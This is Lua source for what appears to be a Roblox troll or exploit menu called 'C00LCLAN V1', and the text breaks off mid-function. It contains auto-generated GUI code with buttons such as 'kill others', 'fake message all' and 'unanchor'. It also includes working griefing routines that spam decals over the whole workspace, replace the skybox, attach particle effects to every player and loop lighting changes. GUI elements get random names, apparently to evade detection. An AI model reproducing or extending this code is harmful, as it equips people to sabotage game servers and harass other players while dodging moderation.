G2L["2e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2e"]["BackgroundTransparency"] = 1; G2L["2e"]["Position"] = UDim2.new(0.57706, 0, -0.45759, 0); -- StarterGui.ssst.Frame2.ImageLabel G2L["2f"] = Instance.new("ImageLabel", G2L["22"]); G2L["2f"]["BorderSizePixel"] = 0; G2L["2f"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); -- [ERROR] cannot convert ImageContent, please report to "https://github.com/uniquadev/GuiToLuaConverter/issues" G2L["2f"]["Image"] = [[rbxassetid://124868710717730]]; G2L["2f"]["Size"] = UDim2.new(0, 187, 0, 123); G2L["2f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2f"]["BackgroundTransparency"] = 1; G2L["2f"]["Position"] = UDim2.new(0.06393, 0, -0.48753, 0); -- StarterGui.ssst.Frame2.TextButton G2L["30"] = Instance.new("TextButton", G2L["22"]); G2L["30"]["BorderSizePixel"] = 0; G2L["30"]["TextSize"] = 14; G2L["30"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["30"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["30"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["30"]["BackgroundTransparency"] = 0.2; G2L["30"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["30"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["30"]["Text"] = [[teams]]; G2L["30"]["Position"] = UDim2.new(0.04303, 0, 0.24729, 0); -- StarterGui.ssst.Frame2.TextButton.Script G2L["31"] = Instance.new("Script", G2L["30"]); -- StarterGui.ssst.Frame2.TextButton G2L["32"] = Instance.new("TextButton", G2L["22"]); G2L["32"]["BorderSizePixel"] = 0; G2L["32"]["TextSize"] = 14; G2L["32"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["32"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["32"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["32"]["BackgroundTransparency"] = 0.2; G2L["32"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["32"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["32"]["Text"] = [[change avatar]]; G2L["32"]["Position"] = UDim2.new(0.35526, 0, 0.25123, 0); -- StarterGui.ssst.Frame2.TextButton.Script G2L["33"] = Instance.new("Script", G2L["32"]); -- StarterGui.ssst.Frame2.TextButton G2L["34"] = Instance.new("TextButton", G2L["22"]); G2L["34"]["BorderSizePixel"] = 0; G2L["34"]["TextSize"] = 14; G2L["34"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["34"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["34"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["34"]["BackgroundTransparency"] = 0.2; G2L["34"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["34"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["34"]["Text"] = [[explode]]; G2L["34"]["Position"] = UDim2.new(0.67445, 0, 0.25713, 0); -- StarterGui.ssst.Frame2.TextButton.Script G2L["35"] = Instance.new("Script", G2L["34"]); -- StarterGui.ssst.Frame2.TextButton G2L["36"] = Instance.new("TextButton", G2L["22"]); G2L["36"]["BorderSizePixel"] = 0; G2L["36"]["TextSize"] = 14; G2L["36"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["36"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["36"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["36"]["BackgroundTransparency"] = 0.2; G2L["36"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["36"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["36"]["Text"] = [[raining fire]]; G2L["36"]["Position"] = UDim2.new(0.04853, 0, 0.43285, 0); -- StarterGui.ssst.Frame2.TextButton.Script G2L["37"] = Instance.new("Script", G2L["36"]); -- StarterGui.ssst.Frame2.TextButton G2L["38"] = Instance.new("TextButton", G2L["22"]); G2L["38"]["BorderSizePixel"] = 0; G2L["38"]["TextSize"] = 14; G2L["38"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["38"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["38"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["38"]["BackgroundTransparency"] = 0.2; G2L["38"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["38"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["38"]["Text"] = [[rainbow all]]; G2L["38"]["Position"] = UDim2.new(0.35589, 0, 0.43204, 0); -- StarterGui.ssst.Frame2.TextButton.Script G2L["39"] = Instance.new("Script", G2L["38"]); -- StarterGui.ssst.Frame2.TextButton G2L["3a"] = Instance.new("TextButton", G2L["22"]); G2L["3a"]["BorderSizePixel"] = 0; G2L["3a"]["TextSize"] = 14; G2L["3a"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["3a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["3a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["3a"]["BackgroundTransparency"] = 0.2; G2L["3a"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["3a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["3a"]["Text"] = [[message]]; G2L["3a"]["Position"] = UDim2.new(0.67496, 0, 0.43146, 0); -- StarterGui.ssst.Frame2.TextButton.Script G2L["3b"] = Instance.new("Script", G2L["3a"]); -- StarterGui.ssst.Frame2.TextButton G2L["3c"] = Instance.new("TextButton", G2L["22"]); G2L["3c"]["BorderSizePixel"] = 0; G2L["3c"]["TextSize"] = 14; G2L["3c"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["3c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["3c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["3c"]["BackgroundTransparency"] = 0.2; G2L["3c"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["3c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["3c"]["Text"] = [[guns]]; G2L["3c"]["Position"] = UDim2.new(0.05271, 0, 0.60446, 0); -- StarterGui.ssst.Frame2.TextButton.Script G2L["3d"] = Instance.new("Script", G2L["3c"]); -- StarterGui.ssst.Frame2.TextButton.LocalScript G2L["3e"] = Instance.new("LocalScript", G2L["3c"]); -- StarterGui.ssst.Frame2.TextButton.RemoteEvent G2L["3f"] = Instance.new("RemoteEvent", G2L["3c"]); -- StarterGui.ssst.Frame2.TextButton G2L["40"] = Instance.new("TextButton", G2L["22"]); G2L["40"]["BorderSizePixel"] = 0; G2L["40"]["TextSize"] = 14; G2L["40"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["40"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["40"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["40"]["BackgroundTransparency"] = 0.2; G2L["40"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["40"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["40"]["Text"] = [[ball rain]]; G2L["40"]["Position"] = UDim2.new(0.35617, 0, 0.60594, 0); -- StarterGui.ssst.Frame2.TextButton.Script G2L["41"] = Instance.new("Script", G2L["40"]); -- StarterGui.ssst.Frame2.TextButton G2L["42"] = Instance.new("TextButton", G2L["22"]); G2L["42"]["BorderSizePixel"] = 0; G2L["42"]["TextSize"] = 14; G2L["42"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["42"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["42"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["42"]["BackgroundTransparency"] = 0.2; G2L["42"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["42"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["42"]["Text"] = [[unanchor]]; G2L["42"]["Position"] = UDim2.new(0.67097, 0, 0.59947, 0); -- StarterGui.ssst.Frame2.TextButton.Script G2L["43"] = Instance.new("Script", G2L["42"]); -- StarterGui.ssst.Frame2.TextButton G2L["44"] = Instance.new("TextButton", G2L["22"]); G2L["44"]["BorderSizePixel"] = 0; G2L["44"]["TextSize"] = 14; G2L["44"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["44"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["44"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["44"]["BackgroundTransparency"] = 0.2; G2L["44"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["44"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["44"]["Text"] = [[42 teleporter]]; G2L["44"]["Position"] = UDim2.new(0.05385, 0, 0.80265, 0); -- StarterGui.ssst.Frame2.TextButton.Script G2L["45"] = Instance.new("Script", G2L["44"]); -- StarterGui.ssst.Frame2.TextButton.LocalScript G2L["46"] = Instance.new("LocalScript", G2L["44"]); -- StarterGui.ssst.Frame2.TextButton.RemoteEvent G2L["47"] = Instance.new("RemoteEvent", G2L["44"]); -- StarterGui.ssst.Frame2.TextButton G2L["48"] = Instance.new("TextButton", G2L["22"]); G2L["48"]["BorderSizePixel"] = 0; G2L["48"]["TextSize"] = 14; G2L["48"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["48"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["48"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["48"]["BackgroundTransparency"] = 0.2; G2L["48"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["48"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["48"]["Text"] = [[fake message all]]; G2L["48"]["Position"] = UDim2.new(0.35698, 0, 0.79656, 0); -- StarterGui.ssst.Frame2.TextButton.Script G2L["49"] = Instance.new("Script", G2L["48"]); -- StarterGui.ssst.Frame2.TextButton G2L["4a"] = Instance.new("TextButton", G2L["22"]); G2L["4a"]["BorderSizePixel"] = 0; G2L["4a"]["TextSize"] = 14; G2L["4a"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["4a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["4a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["4a"]["BackgroundTransparency"] = 0.2; G2L["4a"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["4a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["4a"]["Text"] = [[kill others]]; G2L["4a"]["Position"] = UDim2.new(0.67157, 0, 0.78135, 0); -- StarterGui.ssst.Frame2.TextButton.Script G2L["4b"] = Instance.new("Script", G2L["4a"]); -- StarterGui.ssst.Frame.LocalScript local function C_3() local script = G2L["3"]; -- Made by Real_IceyDev (@lceyDex) -- -- Simple UI dragger (PC Only/Any device that has a mouse) -- local UIS = game:GetService('UserInputService') local frame = script.Parent local dragToggle = nil local dragSpeed = 0.25 local dragStart = nil local startPos = nil local function updateInput(input) local delta = input.Position - dragStart local position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y) game:GetService('TweenService'):Create(frame, TweenInfo.new(dragSpeed), {Position = position}):Play() end frame.InputBegan:Connect(function(input) if (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then dragToggle = true dragStart = input.Position startPos = frame.Position input.Changed:Connect(function() if input.UserInputState == Enum.UserInputState.End then dragToggle = false end end) end end) UIS.InputChanged:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then if dragToggle then updateInput(input) end end end) end; task.spawn(C_3); -- StarterGui.ssst.Frame.TextButton.LocalScript local function C_8() local script = G2L["8"]; script.Parent.MouseButton1Click:Connect(function() --Services local Players = game:GetService("Players") local Player = Players.LocalPlayer local PlayerGui = Player:WaitForChild("PlayerGui") local UserInputService = game:GetService("UserInputService") local RunService = game:GetService("RunService") local PhysicsService = game:GetService("PhysicsService") local Character = Player.Character or Player.CharacterAdded:Wait() local Humanoid = Character:WaitForChild("Humanoid") local HRP = Character:WaitForChild("HumanoidRootPart") local Mouse = Player:GetMouse() local CollectionService = game:GetService("CollectionService") local RunService = game:GetService("RunService") local TeleportService = game:GetService("TeleportService") local HttpService = game:GetService("HttpService") local TweenService = game:GetService("TweenService") local ReplicatedStorage = game:GetService("ReplicatedStorage") local MarketplaceService = game:GetService("MarketplaceService") local StarterGui = game:GetService("StarterGui") local Debris = game:GetService("Debris") local Lighting = game:GetService("Lighting") local SoundService = game:GetService("SoundService") local player = Player local PlaceId = game.PlaceId local JobId = game.JobId --settings local infjump = false local invisRunning = false local noclipOn = false local noclipConn local hoverHeight local bindFrame, bindConn, waitingBindFunction local customBinds = {} local infJumpEnabled = false local infJumpConnection = nil local espOn = false local spinOn = false local spinBAV, lockBP local savedCFrame local invisRunning = false local InvisibleCharacter = nil local OriginalCharacter = nil local voidConn = nil local flyingEnabled = false local invisRunning = false local flyBG, flyBV, flyConn local ray = workspace.CurrentCamera:ScreenPointToRay(Mouse.X, Mouse.Y) local hit, pos = workspace:FindPartOnRay(ray, Character) --GUI settings local GUI_WIDTH = 400 local GUI_HEIGHT = 320 local TITLE_HEIGHT = 30 local NAV_HEIGHT = 30 local FOOTER_HEIGHT = 30 local GRID_PADDING = 4 local GRID_COLUMNS = 4 math.randomseed(os.time()) local character_set = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" local string_sub = string.sub local math_random = math.random local table_concat = table.concat local character_set_amount = #character_set local number_one = 1 local default_length = 10 local function generate_string(length) local random_string = {} for int = number_one, length or default_length do local random_number = math_random(number_one, character_set_amount) local character = string_sub(character_set, random_number, random_number) random_string[#random_string + number_one] = character end return table_concat(random_string) end -- Function manager with descriptions local FunctionManager = { CategorizedFunctions = { All = {} }, Categories = { "All" }, CurrentCategoryIndex= 1, Descriptions = {}, ISFE = {}, OnFunctionAdded = Instance.new("BindableEvent"), } function FunctionManager:register(name, callback, category, description, FE) category = category or "General" if not self.CategorizedFunctions[category] then self.CategorizedFunctions[category] = {} table.insert(self.Categories, category) end self.CategorizedFunctions[category][name] = callback self.CategorizedFunctions.All[name] = callback self.Descriptions[name] = description or "" self.ISFE[name] = FE or "yes" if description == "NOT FE" then self.ISFE[name] = "no" end self.OnFunctionAdded:Fire(category, name, callback) self.OnFunctionAdded:Fire("All", name, callback) end function FunctionManager:getCurrentCategory() return self.Categories[self.CurrentCategoryIndex] end function FunctionManager:cycleCategory() self.CurrentCategoryIndex = self.CurrentCategoryIndex % #self.Categories + 1 return self:getCurrentCategory() end local screenGui = Instance.new("ScreenGui") screenGui.Name = generate_string(math_random(1, 10)) local die = screenGui.Name screenGui.ResetOnSpawn= false screenGui.Parent = PlayerGui local notificationContainer = Instance.new("Frame") notificationContainer.Name = "NotificationContainer" notificationContainer.Size = UDim2.new(1, 0, 1, 0) notificationContainer.Position = UDim2.new(0, 0, 0, 0) notificationContainer.BackgroundTransparency = 1 notificationContainer.ZIndex = 100 notificationContainer.Parent = screenGui local function Notify(text, title, duration) duration = duration or 4 local frame = Instance.new("Frame") frame.AnchorPoint = Vector2.new(1, 1) frame.Size = UDim2.new(0, 300, 0, 70) frame.Position = UDim2.new(1, 320, 1, -10) frame.BackgroundColor3 = Color3.fromRGB(40, 0, 0) frame.BackgroundTransparency = 0 frame.BorderSizePixel = 0 frame.ZIndex = 200 frame.Parent = notificationContainer local titleLabel = Instance.new("TextLabel") titleLabel.BackgroundTransparency = 1 titleLabel.Size = UDim2.new(1, -10, 0, 24) titleLabel.Position = UDim2.new(0, 5, 0, 4) titleLabel.Font = Enum.Font.SourceSansBold titleLabel.Text = title or "Notice" titleLabel.TextColor3 = Color3.new(1, 1, 1) titleLabel.TextSize = 18 titleLabel.TextXAlignment = Enum.TextXAlignment.Left titleLabel.ZIndex = 201 titleLabel.Parent = frame local bodyLabel = Instance.new("TextLabel") bodyLabel.BackgroundTransparency = 1 bodyLabel.Size = UDim2.new(1, -10, 1, -30) bodyLabel.Position = UDim2.new(0, 5, 0, 28) bodyLabel.Font = Enum.Font.SourceSans bodyLabel.Text = text or "" bodyLabel.TextColor3 = Color3.new(1, 1, 1) bodyLabel.TextSize = 14 bodyLabel.TextWrapped = true bodyLabel.TextXAlignment = Enum.TextXAlignment.Left bodyLabel.ZIndex = 201 bodyLabel.Parent = frame task.defer(function() local slideIn = TweenService:Create(frame, TweenInfo.new(0.3, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), { Position = UDim2.new(1, -10, 1, -10) }) slideIn:Play() end) task.delay(duration, function() local fadeOut = TweenService:Create(frame, TweenInfo.new(0.3), { BackgroundTransparency = 1, Position = UDim2.new(1, 320, 1, -10) }) local titleFade = TweenService:Create(titleLabel, TweenInfo.new(0.3), {TextTransparency = 1}) local bodyFade = TweenService:Create(bodyLabel, TweenInfo.new(0.3), {TextTransparency = 1}) fadeOut:Play() titleFade:Play() bodyFade:Play() fadeOut.Completed:Wait() frame:Destroy() end) end local notificationLayout = Instance.new("UIListLayout") notificationLayout.SortOrder = Enum.SortOrder.LayoutOrder notificationLayout.Padding = UDim.new(0, 6) notificationLayout.HorizontalAlignment = Enum.HorizontalAlignment.Right notificationLayout.VerticalAlignment = Enum.VerticalAlignment.Bottom notificationLayout.Parent = notificationContainer Notify("Welcome to C00lClan!", "Have fun!", 3) -- Main frame local mainFrame = Instance.new("Frame") mainFrame.Name = generate_string(math_random(1, 10)) mainFrame.Size = UDim2.new(0, GUI_WIDTH, 0, GUI_HEIGHT) mainFrame.Position = UDim2.new(0.5, -GUI_WIDTH/2, 0.5, -GUI_HEIGHT/2) mainFrame.BackgroundColor3= Color3.fromRGB(25, 5, 5) mainFrame.BorderSizePixel = 0 mainFrame.Parent = screenGui -- Tooltip local tooltip = Instance.new("TextLabel", screenGui) tooltip.Name = generate_string(math_random(1, 10)) tooltip.Size = UDim2.new(0, 200, 0, 40) tooltip.BackgroundColor3 = Color3.fromRGB(30,30,30) tooltip.BorderSizePixel = 0 tooltip.Visible = false tooltip.ZIndex = 100 tooltip.ClipsDescendants = false tooltip.TextColor3 = Color3.fromRGB(255, 255, 255) tooltip.TextWrapped = true -- Title bar local titleBar = Instance.new("Frame", mainFrame) titleBar.Name = generate_string(math_random(1, 10)) titleBar.Size = UDim2.new(1,0,0,TITLE_HEIGHT) titleBar.BackgroundColor3 = Color3.fromRGB(60,0,0) titleBar.BorderSizePixel = 0 local titleLabel = Instance.new("TextLabel", titleBar) titleLabel.Size = UDim2.new(1,-60,1,0) titleLabel.Position = UDim2.new(0,4,0,0) titleLabel.BackgroundTransparency = 1 titleLabel.Text = "C00LCLAN V1" titleLabel.Font = Enum.Font.SourceSansBold titleLabel.TextSize = 18 titleLabel.TextColor3 = Color3.new(1,1,1) titleLabel.TextXAlignment = Enum.TextXAlignment.Left titleLabel.Name = generate_string(math_random(1, 10)) local minBtn = Instance.new("TextButton", titleBar) minBtn.Name = generate_string(math_random(1, 10)) minBtn.Size = UDim2.new(0,30,1,0) minBtn.Position = UDim2.new(1,-30,0,0) minBtn.Text = "_" minBtn.Font = Enum.Font.SourceSansBold minBtn.TextSize = 18 minBtn.TextColor3 = Color3.new(1,1,1) minBtn.BackgroundColor3 = Color3.fromRGB(80,10,10) minBtn.BorderSizePixel = 0 -- Drag logic local dragging, dragInput, dragStart, startPos = false, nil local function updateDrag(input) local delta = input.Position - dragStart mainFrame.Position = startPos + UDim2.new(0, delta.X, 0, delta.Y) end titleBar.InputBegan:Connect(function(i) if i.UserInputType==Enum.UserInputType.MouseButton1 then dragging, dragStart, startPos = true, i.Position, mainFrame.Position i.Changed:Connect(function() if i.UserInputState==Enum.UserInputState.End then dragging=false end end) end end) titleBar.InputChanged:Connect(function(i) if i.UserInputType==Enum.UserInputType.MouseMovement then dragInput=i end end) UserInputService.InputChanged:Connect(function(i) if i==dragInput and dragging then updateDrag(i) end end) -- Category nav local catNav = Instance.new("Frame", mainFrame) catNav.Name = generate_string(math_random(1, 10)) catNav.Size = UDim2.new(1,0,0,NAV_HEIGHT) catNav.Position = UDim2.new(0,0,0,TITLE_HEIGHT) catNav.BackgroundTransparency = 1 local leftCat = Instance.new("TextButton", catNav) leftCat.Size = UDim2.new(0,50,1,0) leftCat.Text = "<" leftCat.Font = Enum.Font.SourceSansBold leftCat.TextSize = 24 leftCat.TextColor3 = Color3.new(1,1,1) leftCat.BackgroundColor3 = Color3.fromRGB(100,0,0) leftCat.BorderSizePixel = 0 leftCat.Name = generate_string(math_random(1, 10)) local catLabel = Instance.new("TextLabel", catNav) catLabel.Size = UDim2.new(1,-100,1,0) catLabel.Position = UDim2.new(0,50,0,0) catLabel.BackgroundTransparency = 1 catLabel.Text = "All" catLabel.Font = Enum.Font.SourceSansBold catLabel.TextSize = 18 catLabel.TextColor3 = Color3.new(1,1,1) catNav.Name = generate_string(math_random(1, 10)) local rightCat = leftCat:Clone() rightCat.Parent = catNav rightCat.Position = UDim2.new(1,-50,0,0) rightCat.Text = ">" rightCat.Name = generate_string(math_random(1, 10)) -- Grid local gridFrame = Instance.new("ScrollingFrame", mainFrame) gridFrame.Name = generate_string(math_random(1, 10)) gridFrame.ClipsDescendants= true gridFrame.Size = UDim2.new(1,-2*GRID_PADDING,0,GUI_HEIGHT-TITLE_HEIGHT-NAV_HEIGHT-FOOTER_HEIGHT-2*GRID_PADDING) gridFrame.Position = UDim2.new(0,GRID_PADDING,0,TITLE_HEIGHT+NAV_HEIGHT+GRID_PADDING) gridFrame.BackgroundTransparency = 1 local gridLayout = Instance.new("UIGridLayout", gridFrame) gridLayout.Name = generate_string(math_random(1, 10)) gridLayout.CellSize = UDim2.new(0,(GUI_WIDTH-2*GRID_PADDING-(GRID_COLUMNS-1)*GRID_PADDING)/GRID_COLUMNS,0,40) gridLayout.CellPadding = UDim2.new(0,GRID_PADDING,0,GRID_PADDING) gridLayout.SortOrder = Enum.SortOrder.LayoutOrder -- Footer local footer = Instance.new("Frame", mainFrame) footer.Name = generate_string(math_random(1, 10)) footer.Size = UDim2.new(1,0,0,FOOTER_HEIGHT) footer.Position = UDim2.new(0,0,1,-FOOTER_HEIGHT) footer.BackgroundTransparency = 1 local closeBtn = Instance.new("TextButton", footer) closeBtn.Size = UDim2.new(1,0,1,0) closeBtn.Text = "Close" closeBtn.Font = Enum.Font.SourceSansBold closeBtn.TextSize = 18 closeBtn.TextColor3 = Color3.new(1,1,1) closeBtn.BackgroundColor3 = Color3.fromRGB(100,0,0) closeBtn.BorderSizePixel = 0 closeBtn.Name = generate_string(math_random(1, 10)) -- Minimize toggle local minimized = false minBtn.MouseButton1Click:Connect(function() minimized = not minimized if minimized == true then mainFrame.BackgroundTransparency = 1 else mainFrame.BackgroundTransparency = 0 end gridFrame.Visible = not minimized catNav.Visible = not minimized footer.Visible = not minimized minBtn.Text = minimized and "◻" or "_" end) local function NotifyERROR(text) Notify(text, "ERROR", 3) end -- Build the grid and tooltips local function updateGrid() for _, c in ipairs(gridFrame:GetChildren()) do if c:IsA("TextButton") then c:Destroy() end end local cat = FunctionManager:getCurrentCategory() catLabel.Text = cat for name, cb in pairs(FunctionManager.CategorizedFunctions[cat]) do local btn = Instance.new("TextButton") local isFE = FunctionManager.ISFE[name] btn.Size = UDim2.new(1,0,0,40) btn.BackgroundColor3 = Color3.fromRGB(70,10,10) btn.BorderSizePixel = 0 btn.Font = Enum.Font.SourceSansBold btn.TextSize = 16 btn.TextColor3 = Color3.new(1,1,1) btn.Text = name btn.TextWrapped = true btn.Parent = gridFrame btn.Name = generate_string(math_random(1, 10)) if isFE == "no" then btn.BackgroundColor3 = Color3.fromRGB(72, 100, 87) end -- tooltip local desc = FunctionManager.Descriptions[name] btn.MouseMoved:Connect(function() if desc ~= "" and desc ~= nil then tooltip.Text = desc tooltip.Position = UDim2.new(0,Mouse.X,0,Mouse.Y - tooltip.Size.Y.Offset - 4) tooltip.Visible = true end end) btn.MouseLeave:Connect(function() tooltip.Visible = false end) btn.MouseButton1Click:Connect(function() pcall(cb) end) end end local logo = Instance.new("ImageLabel") logo.Name = generate_string(math_random(1, 10)) logo.BackgroundTransparency = 1 logo.Size = UDim2.new(1, 0, 0, 100) logo.Position = UDim2.new(0, -50, 0, -100) logo.Image = "rbxassetid://87486058304609" logo.ScaleType = Enum.ScaleType.Fit logo.Parent = mainFrame -- nav buttons leftCat.MouseButton1Click:Connect(function() FunctionManager.CurrentCategoryIndex = (FunctionManager.CurrentCategoryIndex - 2) % #FunctionManager.Categories + 1 updateGrid() end) rightCat.MouseButton1Click:Connect(function() FunctionManager:cycleCategory() updateGrid() end) closeBtn.MouseButton1Click:Connect(function() screenGui:Destroy() end) FunctionManager.OnFunctionAdded.Event:Connect(updateGrid) -- Initialize updateGrid() FunctionManager:register("Decal Spam", function() local decalID = 8408806737 local function exPro(root) for _, v in pairs(root:GetChildren()) do if v:IsA("Decal") and v.Texture ~= "http://www.roblox.com/asset/?id="..decalID then v.Parent = nil elseif v:IsA("BasePart") then v.Material = "Plastic" v.Transparency = 0 local One = Instance.new("Decal", v) local Two = Instance.new("Decal", v) local Three = Instance.new("Decal", v) local Four = Instance.new("Decal", v) local Five = Instance.new("Decal", v) local Six = Instance.new("Decal", v) One.Texture = "http://www.roblox.com/asset/?id="..decalID Two.Texture = "http://www.roblox.com/asset/?id="..decalID Three.Texture = "http://www.roblox.com/asset/?id="..decalID Four.Texture = "http://www.roblox.com/asset/?id="..decalID Five.Texture = "http://www.roblox.com/asset/?id="..decalID Six.Texture = "http://www.roblox.com/asset/?id="..decalID One.Face = "Front" Two.Face = "Back" Three.Face = "Right" Four.Face = "Left" Five.Face = "Top" Six.Face = "Bottom" end exPro(v) end end local function asdf(root) for _, v in pairs(root:GetChildren()) do asdf(v) end end exPro(game.Workspace) asdf(game.Workspace) local s = Instance.new("Sky") s.Name = "Sky" s.Parent = game.Lighting local skyboxID = 8408806737 s.SkyboxBk = "http://www.roblox.com/asset/?id="..skyboxID s.SkyboxDn = "http://www.roblox.com/asset/?id="..skyboxID s.SkyboxFt = "http://www.roblox.com/asset/?id="..skyboxID s.SkyboxLf = "http://www.roblox.com/asset/?id="..skyboxID s.SkyboxRt = "http://www.roblox.com/asset/?id="..skyboxID s.SkyboxUp = "http://www.roblox.com/asset/?id="..skyboxID game.Lighting.TimeOfDay = 12 for i, v in pairs(game.Players:GetChildren()) do local emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Torso emit.Texture = "http://www.roblox.com/asset/?id=8408806737" emit.VelocitySpread = 20 end for i, v in pairs(game.Players:GetChildren()) do local emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Torso emit.Texture = "http://www.roblox.com/asset/?id=8408806737" emit.VelocitySpread = 20 end for i, v in pairs(game.Players:GetChildren()) do local emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Torso emit.Texture = "http://www.roblox.com/asset/?id=8408806737" emit.VelocitySpread = 20 end while true do game.Lighting.Ambient = Color3.new(math.random() , math.random() , math.random()) wait(0.2) game.Lighting.ShadowColor = Color3.new(math.random() , math.random() , math.random()) wait(0.2) end end, "Troll", "NOT FE") FunctionManager:register("JOHN DOE", function() local redSkyboxAssetId = "rbxassetid://1012887" local sky = Lighting:FindFirstChildOfClass("Sky") if not sky then sky = Instance.new("Sky", Lighting) end sky.SkyboxBk = redSkyboxAssetId sky.SkyboxDn = redSkyboxAssetId sky.SkyboxFt = redSkyboxAssetId sky.SkyboxLf = redSkyboxAssetId sky.SkyboxRt = redSkyboxAssetId sky.SkyboxUp = redSkyboxAssetId if not ReplicatedStorage:FindFirstChild("juisdfj0i32i0eidsuf0iok") then local detection = Instance.new("Decal") detection.Name = "juisdfj0i32i0eidsuf0iok" detection.Parent = ReplicatedStorage end local screenGui = Instance.new("ScreenGui") screenGui.Name = "PersistentSoundGui" screenGui.ResetOnSpawn = false screenGui.Parent = player:WaitForChild("PlayerGui") local button = Instance.new("TextButton") button.Size = UDim2.new(0, 150, 0, 50) button.Position = UDim2.new(0.02, 0, 0.477, 0) button.Text = "Sound Toggle" button.Font = Enum.Font.SourceSansBold button.TextSize = 20 button.BackgroundColor3 = Color3.fromRGB(50, 50, 50) button.TextColor3 = Color3.new(1, 1, 1) button.Parent = screenGui local backgroundSound = SoundService:FindFirstChild("PersistentBGSound") if not backgroundSound then backgroundSound = Instance.new("Sound") backgroundSound.Name = "PersistentBGSound" backgroundSound.SoundId = "rbxassetid://19094700" backgroundSound.PlaybackSpeed = 0.221 backgroundSound.Looped = true backgroundSound.Volume = 1 backgroundSound.Parent = SoundService backgroundSound:Play() end button.Activated:Connect(function() backgroundSound.Playing = not backgroundSound.Playing end) local function setupCharacter(character) local humanoid = 